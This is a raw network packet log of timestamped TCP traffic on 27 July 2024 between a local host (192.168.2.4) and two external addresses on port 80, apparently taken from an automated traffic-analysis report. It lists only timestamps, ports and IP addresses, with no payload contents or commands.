Jul 27, 2024 05:39:19.905719042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905744076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905756950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905777931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905792952 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905807018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905827999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905839920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905843019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905858040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905868053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905874014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905886889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905889988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905915976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905930996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.905960083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.905987024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906001091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906001091 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906016111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906028986 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906033039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906040907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906049013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906059980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906064987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906079054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906080961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906109095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906125069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906131983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906152964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906168938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906182051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906196117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906219959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906245947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906260967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906282902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906297922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906308889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906325102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906328917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906341076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906351089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906368017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906368971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906374931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906384945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906399965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906410933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906414986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906430006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906433105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906441927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906447887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906462908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906464100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906476974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906488895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906513929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906549931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906565905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906606913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906666040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906707048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906754017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906768084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906776905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906784058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906850100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906862974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.906884909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.906909943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.012651920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.017855883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200748920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200769901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200786114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200810909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.200834990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.200921059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200936079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200949907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200963974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200973988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.200978994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.200994968 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.200994968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201009035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201013088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201028109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201035023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201041937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201061010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201070070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201076031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201092005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201102018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201148987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201148987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201176882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201286077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201345921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201359987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201374054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201394081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201401949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201417923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201419115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201436996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201451063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201452017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201471090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201477051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201489925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201493025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201508999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201517105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201539040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201546907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201554060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201567888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201575041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201582909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201596975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201602936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201603889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201617956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201627970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201634884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201638937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201651096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201666117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201674938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201694012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201714993 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201729059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201742887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201742887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201759100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201785088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201798916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201812983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201816082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201828003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201843023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201854944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.201854944 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201884985 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201903105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.201924086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.202115059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290337086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290369034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290384054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290399075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290429115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290432930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290458918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290461063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290477991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290479898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290491104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290503025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290505886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290514946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290522099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290529966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290539980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290549040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290556908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290561914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290566921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290580034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290586948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290591002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290596962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290601969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290602922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290611029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290621042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290627956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290638924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290648937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290656090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290658951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290668964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290678024 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290678978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290689945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290699005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290704966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290709019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290719986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290724993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290730953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290738106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290741920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290750980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290760040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290766001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290771008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290781975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290796041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290803909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290822029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290843964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290853024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290863037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290872097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290884972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290908098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.290910959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290968895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290977955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.290986061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291002035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291009903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291013956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291022062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291024923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291045904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291060925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291101933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291111946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291120052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291129112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291146040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291153908 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291157961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291167974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291177988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291181087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291187048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291194916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291202068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291207075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291213036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291233063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291254997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291353941 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291374922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291384935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291416883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291471004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291481018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291488886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291498899 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291500092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291500092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291508913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291529894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291553020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291671991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291682959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291691065 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291714907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291733027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291734934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291744947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291754961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291764021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291781902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291805029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291816950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291827917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291836023 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291845083 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291853905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291855097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291862965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291872978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.291878939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291908026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.291908026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292062998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292078018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292089939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292103052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292123079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292187929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292200089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292207956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292217970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292232990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292237043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292243004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292248011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292257071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292265892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.292268038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292274952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.292304039 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.341567993 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:20.344774961 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.345474958 CEST	49486	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:20.352782965 CEST	80	49486	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:20.384181976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384203911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384218931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384227991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384238958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384248972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384258032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384267092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384275913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384285927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.384380102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.389221907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389234066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389242887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389251947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389261007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389270067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389278889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389287949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389297962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389307976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.389380932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.389380932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.389380932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.389380932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.389380932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.394989014 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395029068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395042896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395054102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395064116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395082951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:20.395092964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:20.395095110 CEST	80	49477	85.28.47.31	192.168.2.4
